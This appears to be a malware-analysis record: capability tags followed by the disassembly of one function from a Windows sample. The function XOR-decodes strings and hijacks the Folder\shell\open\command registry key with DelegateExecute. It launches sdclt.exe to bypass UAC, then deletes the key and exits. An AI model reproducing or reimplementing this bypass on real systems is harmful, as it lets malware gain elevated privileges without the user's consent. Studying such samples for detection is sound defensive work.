Function at 0x416bfb
Capabilities:
Create process on windows
Delete registry key
Encode data using xor
Get common file path
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x914
push ebx
push esi
push edi
call fcn.004145c4
cmp eax, 1
je 0x416d05
call fcn.00414af2
cmp eax, 0xa
jb 0x416d05
call fcn.00416a31
test al, al
je 0x416d05
call fcn.004145c4
cmp eax, 1
je 0x416d05
push 5
pop edx
lea ecx, [ebp - 4]
call fcn.00414891
xor eax, eax
mov dword [ebp - 0x46], 0x4b3a4b21
mov dword [ebp - 0x42], 0x4be34b10
xor ecx, ecx
mov dword [ebp - 0x3e], 0x4bef4bf4
mov dword [ebp - 0x3a], 0x4bea4be6
mov dword [ebp - 0x36], 0x4bf54bf1
mov dword [ebp - 0x32], 0x4bc94bbd
mov dword [ebp - 0x2e], 0x4bfa4bf9
mov dword [ebp - 0x2a], 0x4be54be7
mov dword [ebp - 0x26], 0x4bef4bee
mov dword [ebp - 0x22], 0x4bf94bfb
mov dword [ebp - 0x1e], 0x4bfc4bfe
mov dword [ebp - 0x1a], 0x4bf54bd7
mov dword [ebp - 0x16], 0x4bf74be1
mov word [ebp - 0x12], ax
lea eax, [ecx + 0x4b7d]
xor word [ebp + ecx*2 - 0x46], ax
inc ecx
cmp ecx, 0x1a
jb 0x416cac
xor eax, eax
lea ecx, [ebp - 4]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x46]
push eax
call fcn.004034f3
lea ecx, [ebp - 0xc]
call fcn.00414844
push dword [ebp - 4]
mov esi, dword [sym.imp.USER32.dll_CharLowerW]
call esi
push dword [ebp - 0xc]
mov edi, eax
call esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x416d0c
mov ecx, dword [ebp - 0xc]
call fcn.004068b7
mov ecx, dword [ebp - 4]
call fcn.004068b7
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
push dword [0x554090]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
lea eax, [ebp - 8]
xor edi, edi
push eax
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [ebp - 8], edi
je 0x416d3d
lea ecx, [ebp - 0x10]
call fcn.004146a7
call fcn.00416b1a
mov esi, 0x400
lea eax, [ebp - 0x910]
push esi
push edi
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x910]
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x910]
mov esi, 0x41d372
push eax
push esi
call fcn.00416b96
push esi
push str.DelegateExecute
call fcn.00416b96
add esp, 0x10
lea eax, [ebp - 0x510]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str._sdclt.exe
lea eax, [ebp - 0x510]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x44
lea eax, [ebp - 0x54]
push edi
push eax
call fcn.004012cf
push 0x11
pop ecx
lea esi, [ebp - 0x54]
xor eax, eax
lea edi, [ebp - 0xc0]
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x74]
stosd dword es:[edi], eax
lea esi, [ebp - 0x74]
push 0xa
pop ecx
push 0x1df
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x2df]
lea edi, [ebp - 0x64]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str.cmd.exe__C_C:WindowsSystem32_sdclt.exe
lea edi, [ebp - 0x308]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
push edi
push eax
call fcn.004012cf
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
push 0x4e20
call esi
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0xc0]
push eax
push edi
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x308]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x60]
call ebx
push dword [ebp - 0x64]
call ebx
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x100]
push 0x41a7c0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push edi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [ebp - 8], edi
je 0x416e6f
lea ecx, [ebp - 0x10]
call fcn.004146d4
push 0x7d0
call esi
push str.SoftwareClassesFolder_shellopencommand
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]